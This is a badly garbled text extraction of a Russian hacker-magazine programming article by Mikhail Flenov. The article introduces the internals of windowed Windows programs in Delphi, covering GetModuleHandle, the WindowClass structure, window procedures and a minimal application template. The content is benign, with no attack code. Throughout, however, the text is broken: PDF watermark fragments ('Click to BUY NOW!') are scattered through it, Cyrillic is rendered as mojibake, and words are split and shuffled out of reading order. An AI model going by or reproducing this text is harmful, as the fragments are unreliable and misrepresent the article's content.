7 JoyStick

8

 

 

 

 

 

 

 

 

 

 

 

 

 

 

5 Кодинг

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w Click

to

BUY

 

 

 

 

m

Кодинг

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-xcha

 

 

 

 

 

КАК РАБОТАЮТ ОКОННЫЕ ПРОГИ

Horrific aka Фленов Михаил (smirnandr@mail.ru) www.cydsoft.com/vr-online

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

I

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

H

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

P

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

L

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

E

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

D

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ÃÈ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ÐÎ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Å Ï

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ÍÛ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ÎÍ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Ò

 

 

 

ÎÊ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Þ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ÒÀ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ÁÎ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Ê ÐÀ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

” ÿ áóäó

 

ÊÀ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ü ïîä

знаком “Delphi

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Тепер

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

енится

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

üíî èçì

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

èíã ñèë

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

òî-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

à, êîä

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

этого

 

месяц

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ü, ïî

 

 

 

 

 

 

àÿ ñ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

едоват

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ó ÷åð

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Начин

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

û ÿ áóä

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Îáå

 

ýòè òåì

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

åâîé

кодинг

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

û è ñåò

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

êè.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

êîë

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

зывать

ïðî ïðè

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

å ðàì

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

еленны

 

 

 

 

 

 

 

 

 

 

 

 

расска

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ваться

в опред

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

âûé è

надо как-то уклады

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

åòñÿ

 

 

 

 

 

 

 

 

 

 

àë íå

резино

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

åì íå

отлича

 

 

 

 

 

 

ìó ÷òî

æóðí

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

êè íè÷

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ктичес

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

èíã â

 

íåì ïðà

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

òîìó

÷òî êîä

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

óò, ïî

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

òüè ïî

 

Kylix

исчезн

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

nAPI.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ü Wi

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Ñòà

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ользоват

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

üçÿ èñï

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

à - íåë

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ííàÿ

разниц

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

инстве

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ü ïðî

 

 

 

 

 

 

 

 

 

 

 

 

 

 

lphi. Åä

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

îò De

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

азыват

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

у расск

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

é ÿ áóä

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ôèêà,

в которо

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

íàÿ ãðà

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

пьютер

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

òñÿ êîì

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

î Kylix

появи

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ôèêå

â ýòîì

номере

 

 

 

Вмест

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

áíåå

читай первую статью по гра

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

м подро

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

X. Íî

îá ýòî

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Direct

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.com/vr-onlin

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.cydsoft

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ail.ru www

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

nandr@m

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

àèë smir

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

íîâ Ìèõ

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Horrific aka Ôëå

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Первой

 

строкой

êîäà

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

èäåò

 

 

 

 

 

 

 

 

 

-

Intro

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

не буду писать приколы

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

вызов WinAPI функ

.

о сегодня я делаю небольшое отступление

è

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

öèè

 

GetModuleHandle

 

 

 

 

 

 

 

 

 

 

 

ws. ß

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Îíà

возвращает

описа

 

 

или сетевой

кодинг, а познакомлю

тебя с внутренностями Windo

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

который мы бу-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

тель модуля, который я

Íнапишу

хороший шаблон минимального приложения,

 

 

 

. Íî äà-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

сохраняю

в переменной

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

дем использовать при работе

 

с графикой (он понадобится уже сегодня)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Ýòîò

описатель

 

статьи

по графике, я советую тебе ознакомиться

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

instance.

 

æå åñëè

 

ты не будешь читать

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

немного

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нам пригодится

с этим шаблоном, чтобы увидеть, как работают

внутренности любой проги

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

позже.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

èçìà

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Далее я заполняю струк-

Вперед к победе коммун

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

È

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

. Для этого

ìû

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

.

Ýòà

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

òóðó

WindowClass

 

 

так, давай познакомимся с внутренностями

твоих окошек

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

во всех последующих

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

структура используется

напишем шаблон, который будет использоваться

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ïðè

создании

 

нового

примерах.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Удаление ненужной

формы

 

 

 

 

 

 

 

 

 

 

 

класса окна. Для

ìèíè-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

заполнить следующие

 

ïîëÿ:

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Запусти уже полюбивший

 

 

 

 

мального приложения нам понадобится

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ся Delphi. Как всегда, сразу

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

нам доступен новый про

 

 

 

 

style - стиль окна;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

на процедуру, которая будет

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

åêò.

Так как мы будем де-

 

 

 

 

 

нужно записать указатель

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Lpfnwndproc - ñþäà

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

демки,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

лать минимальные

 

 

 

вызываться на все пользовательские

или системные события;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

то нам абсолютно не нуж-

 

 

 

 

 

 

 

 

 

 

который мы получили в первой

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Hinstance -

описатель;

это тот описатель,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ны никакие формы, поэто

 

 

 

 

строчке кода;

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

îêðà-

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 
